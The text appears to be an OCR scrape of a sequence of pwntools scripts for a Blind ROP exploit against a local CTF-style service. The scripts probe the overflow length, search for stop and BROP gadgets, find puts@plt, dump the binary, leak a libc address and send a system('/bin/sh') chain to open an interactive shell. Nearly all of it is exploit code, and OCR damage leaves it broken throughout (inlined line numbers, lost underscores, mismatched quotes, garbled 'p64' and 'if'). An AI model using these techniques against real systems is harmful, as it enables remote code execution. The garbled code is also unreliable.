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1 #-*- coding:utf-8 —*-

2 from pwn import *

3 from LibcSearcher import LibcSearcher

4 context.log level='debug'

5 #context (arch = 'i386', os = 'linux', log level='debug')
6 #context (arch = 'amd64', os = 'linux', log level='debug')
7 #log level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 ip = "0.0.0.0"

9 port = 10001

10

11 def getbufferflow_length ():

12 i=1

13 while True:

14 try:

15 io = remote (ip,port)

16 l1o.recvuntil ("Please tell me:")

17 io.sendline(i*'a')

18 output = io.recvuntil ("Goodbye!\n",timeout=1)
19 print output

20 #hello = io.recv()

21 io.close()

22 #print "[*] the index is " + str(output.find('Goodbyte!'))
23 if output == "":

24 return i - 1

25 else:

26 i+=1

27 except EOFError:

28 io.close()

29 return i - 1

30

31 length = getbufferflow length()
32 print length
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1 #-*- coding:utf-8 —*-

2 from pwn import *

3 from LibcSearcher import LibcSearcher

4 context.log level='debug'

5 #context (arch = 'i386', os = 'linux', log level='debug')
6 #context (arch = 'amd64', os = 'linux', log level='debug')
7 #log level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 gadget array = []

9 def get stop addr (length) :

10 addr = 0x4007D0#7D0

11

12 while 1:

13 try:

14 sh = remote('127.0.0.1", 10001)

15 sh.recvuntil ("Please tell me:")

16 payload = 'a' * length + p64 (addr)

17 sh.sendline (payload)

18 #sh.recvuntil ("Repeater:")

19 sh.recv()

20 recvstr = sh.recv()

21 sh.close()

22 1f recvstr.startswith('Hello'):

23 gadget array.append (addr)

24 return gadget array

25 print 'one success addr: 0Ox%x' ¢ (addr)

26 addr += 1

27 except Exception:

28 addr += 1

29 sh.close()

30 length = 216
31 stop gadget = get stop addr (length)
32 for 1 in range (len(stop gadget)) :

33 print 'one success addr: Ox%x' & (stop gadget([i])
34

35

36 #0x4007d6
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1 #-*- coding:utf-8 —*-

2 from pwn import *

3 from LibcSearcher import LibcSearcher

4 context.log level='debug'

5 #context (arch = 'i386', os = 'linux', log level='debug')
6 #context (arch = 'amd64', os = 'linux', log level='debug')
7 #log level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 def get brop gadget (length, stop gadget, addr):

9 try:

10 sh = remote('127.0.0.1"', 10001)

11 sh.recvuntil ('Please tell me:"')

12 payload = 'a' * length + pé64(addr) + p64(0) * 6 + p64(
13 stop gadget) + p64(0) * 10

14 sh.sendline (payload)

15 sh.recv()

16 content = sh.recv()

17 sh.close ()

18 print content

19 # stop gadget returns memory

20 if not content.find('Hello'):

21 return False

22 return True

23 except Exception:

24 sh.close()

25 return False

26

27 def check brop gadget (length, addr) :

28 try:

29 sh = remote('127.0.0.1", 10001)

30 sh.recvuntil ('Please tell me:')

31 payload = 'a' * length + p64(addr) + 'a' * 8 * 10
32 sh.sendline (payload)

33 sh.recv()

34 content = sh.recv()

35 sh.close()

36 return False

37 except Exception:

38 sh.close()

39 return True

40

41 length = 216

42 stop gadget = 0x4007d6

43 addr = 0x4007d6#1ibc scu init is behind from main
44 while 1:

45 print hex(addr)

46 if get brop gadget (length, stop gadget, addr):

47 print 'possible brop gadget: 0x¢x' $ addr
48 1f check brop gadget (length, addr):

49 print 'success brop gadget: 0Ox%x' $ addr
50 break

51 addr += 1
52 #0x40095a
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1 #-*- coding:utf-8 —*-

2 from pwn import *

3 from LibcSearcher import LibcSearcher

4 context.log level='debug'

5 #context (arch = 'i386', os = 'linux', log level='debug')
6 #context (arch = 'amd64', os = 'linux', log level='debug')
7 #log level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 def get puts addr (length, rdi ret, stop gadget) :

9 addr = 0x400630

10 while 1:

11 print hex(addr)

12 sh = remote('127.0.0.1"', 10001)

13 sh.recvuntil ('Please tell me:"')

14 payload = 'A' * length + p64(rdi ret) + p64(0x400000) + p64(
15 addr) + pé4(stop gadget)

16 sh.sendline (payload)

17 try:

18 sh.recv()

19 content = sh.recv()

20 1if content.find('\x7fELF") :

21 print 'find puts@plt addr: Ox%x' % addr
22 return addr

23 sh.close()

24 addr += 1

25 except Exception:

26 sh.close()

27 addr += 1

28 length = 216

29 stop gadget = 0x4007d6

30 brop gadget = 0x40095a

31 rdi ret = brop gadget + 9

32 puts plt = get puts addr(length,rdi ret,stop gadget)
33

34 print hex (puts plt)

35 #0x400635

dump X 1F



1 #-*- coding:utf-8 —*-

2 from pwn import *

3 from LibcSearcher import LibcSearcher

4 context.log level='debug'

5 #context (arch = 'i386', os = 'linux', log level='debug')
6 #context (arch = 'amd64', os = 'linux', log level='debug')
7 #log level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 def leakfunction(length, rdi ret, puts plt, stop gadget):
9 addr = 0x4005£d#0x400000

10 result = ""

11 offset = 0

12 while addr < 0x401000:

13 #print hex (addr)

14 data = leak(length, rdi ret, puts plt, addr+offset, stop gadget)
15 print "data is " + data

16 if data is None:

17 continue

18 else:

19 result = data

20 offset += len (data)

21 print "[*] offset is "+ hex(offset)

22 print "[*] addr is "+ hex(addr)

23 with open('code', 'ab') as f:

24 f.write (result)

25

26

27 def leak(length, rdi ret, puts plt, leak addr, stop gadget) :
28 sh = remote ('127.0.0.1", 10001)
29 payload = 'a' * length + p64(rdi ret) + pé4(leak addr) + p64(

30 puts plt) + p64(stop gadget)

31 sh.recvuntil ('Please tell me:"')

32 sh.sendline (payload)

33 try:

34 #sh.recvuntil (rdi ret)

35 #hello = 'a' * length + p8((rdi ret>>1)&0xff) + p8((rdi ret>>2)&0xff) + p8(rdi ret & Oxff)
36 hello = 'a' * length + '"\x63\x09\x40'
37 print "[*] hello is " + hello

38 sh.recvuntil (hello)

39 #sh.recv ()

40 data = sh.recv()

41 sh.close()

42

43 try:

44 #print hex(rdi ret)

45 data = data[:data.index ("\nHello")]
46 #print data

47 except Exception:

48 data = data

49 if data == "":

50 data = '"\x00'

51 return data

52 except Exception:

53 sh.close()

54 return None

55

56

57 length = 216

58 stop gadget = 0x4007d6

59 brop gadget = 0x40095a

60 rdi ret = brop gadget + 9

61 puts plt = 0x400635

62

63 print "this is " + hex(rdi ret)

64 leakfunction(length, rdi ret, puts plt, stop gadget)
65

66 #io0.1interactive()
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exp

#log level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']

1 #-*- coding:utf-8 —*-

2 from pwn import *

3 from LibcSearcher import LibcSearcher

4 context.log level='debug'

5 #context (arch = 'i386', os = 'linux', log level='debug')
6 #context (arch = 'amdé64', os = 'linux', log level='debug')
7

8

9

length = 216

10 stop gadget = 0x4007d6

11 brop gadget = 0x40095a

12 rdi ret = brop gadget + 9

13 puts plt = 0x400635

14 puts got = 0x601018

15sh = remote ('127.0.0.1", 10001)

16 sh.recvuntil ('Please tell me:')

17 payload = 'a' * length + p64(rdi ret) + p64(puts got) + pb64(puts plt) + p64(
18 stop gadget)

19 sh.sendline (payload)

20 sh.recvuntil ("\x63\x09\x40")

21 data = sh.recvuntil ('\nHello', drop=True)

22 puts_addr = u64(data.ljust (8, '"\x00'))

23 print "[*] puts addr is " + hex(puts _addr)

24

25 1ibc = LibcSearcher ('puts', puts addr)

26 libc base = puts addr - libc.dump('puts')

27 system addr = libc base + libc.dump ('system')

28 binsh addr = libc base + libc.dump('str bin sh')
29 payload = 'a' * length + p64(rdi ret) + p64(binsh addr) + p64(
30 system addr) + p64(stop gadget)

31 sh.sendline (payload)

32 sh.interactive ()
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